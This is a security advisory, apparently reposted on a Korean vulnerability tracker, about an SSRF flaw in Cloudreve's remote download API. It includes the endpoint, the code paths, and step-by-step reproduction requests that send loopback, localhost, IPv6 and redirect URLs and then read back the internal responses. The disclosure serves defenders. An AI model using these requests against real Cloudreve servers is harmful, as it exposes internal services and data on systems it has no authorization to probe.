Cloudreve: Non-admin remote download users can SSRF loopback/internal services and read imported responses
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
30일 내 악용 확률 예측
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N상세 설명
Summary
Cloudreve's remote download workflow accepts user-supplied URLs and passes them to the configured downloader without blocking loopback, localhost, IPv6 localhost, or redirect-to-loopback targets.
When the remote download permission is granted to a non-admin user group, a normal authenticated user can make the server-side downloader fetch internal-only URLs and then read the fetched response after it is imported into the user's own Cloudreve files.
This does not affect default normal users unless the remote download permission is enabled for their group. However, the permission is a feature-level user-group capability and does not make the user an administrator.
Attacker requirements
The attacker must be:
- authenticated
- non-admin
- in a user group where
GroupPermissionRemoteDownloadis enabled
Default normal users are blocked from the affected workflow. In the default install, only the admin group has the remote download permission, while the default User group does not.
Affected endpoint
1POST /api/v4/workflow/downloadFollow-up attacker readback was performed through normal workflow and file APIs:
1GET /api/v4/workflow?category=downloaded... 2GET /api/v4/file?uri=cloudreve://my... 3POST /api/v4/file/urlRoot cause
The remote download workflow checks whether the user group has remote download permission, but it does not validate the submitted URL before passing it to the downloader.
Relevant code paths:
service/explorer/workflows.go:81pkg/filemanager/workflows/remote_download.go:202pkg/downloader/aria2/aria2.go:56
The application does not block loopback, localhost, IPv6 localhost, or redirect targets resolving to internal addresses.
Impact
A non-admin user with remote download permission can use Cloudreve as an SSRF primitive to access services reachable from the downloader environment.
In my test, the attacker could fetch internal loopback URLs and read the response body after Cloudreve imported the downloaded content into the attacker's own files.
Confirmed targets:
http://127.0.0.1:7777/secret2http://localhost:7777/localsecrethttp://[::1]:7780/v6secret- redirect to
http://127.0.0.1:7777/redirsecret
This can expose internal HTTP services, loopback-only admin panels, local service metadata, or other network resources that are not directly reachable by the attacker.
Reproduction
1. Permission negative control
The attacker is a normal non-admin user in the default User group.
Before enabling remote download for the group:
1POST /api/v4/workflow/download 2Content-Type: application/json 3 4{"src":["http://127.0.0.1:7777/secret"],"dst":"cloudreve://my"}Response:
1{"code":40007,"msg":"Group not allowed to download files"}2. Enable only remote download permission for the non-admin group
The default install grants remote download to the admin group only. The default User group does not have it.
Confirmed in:
inventory/migration.go:154inventory/migration.go:179
For this test, I only changed group 2 permissions from:
1hAg=to:
1hAo=The attacker remained in the User group and was not made admin. GET /api/v4/user/me still returned the group name as User.
3. Start an internal listener
Example listener on the Cloudreve host:
1127.0.0.1:7777The listener returned a marker response:
1SSRF_SECRET_2_202605274. Queue a remote download to loopback
1POST /api/v4/workflow/download 2Content-Type: application/json 3 4{"src":["http://127.0.0.1:7777/secret2"],"dst":"cloudreve://my"}Response:
1{"code":0,"data":[{"id":"OzH4","status":"queued","type":"remote_download"}]}The internal listener received the request:
1127.0.0.1 - - [27/May/2026 13:00:46] "GET /secret2 HTTP/1.1" 200 -Aria2 completed the download:
1Download complete: /home/b4r/cysec/cvehunting/cloudreve/data/temp/.../secret25. Read the imported internal response as the attacker
The task completed successfully:
1{"id":"OzH4","status":"completed","summary":{"props":{"src_str":"http://127.0.0.1:7777/secret2","failed":0}}}The attacker could list the imported file:
1{"name":"secret2","path":"cloudreve://my/secret2"}The attacker could then download and read the response body:
1SSRF_SECRET_2_20260527Additional validated variants
localhost
Input:
1http://localhost:7777/localsecretAttacker readback:
1LOCALHOST_SECRET_20260527Redirect to loopback
Input:
1http://127.0.0.1:7779/anythingRedirect:
1302 Location: http://127.0.0.1:7777/redirsecretAttacker readback:
1REDIR_SECRET_20260527IPv6 localhost
Input:
1http://[::1]:7780/v6secretAttacker readback:
1IPV6_SECRET_20260527Expected behavior
Cloudreve should reject remote download URLs that resolve to loopback, localhost, private network ranges, link-local ranges, metadata service ranges, or other internal-only targets unless explicitly allowed by an administrator.
Redirect targets should be checked with the same policy.
Actual behavior
Cloudreve accepts the URL, passes it to the downloader, imports the fetched internal response into the attacker's files, and allows the attacker to read it.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 5
링크 내용 불러오는 중…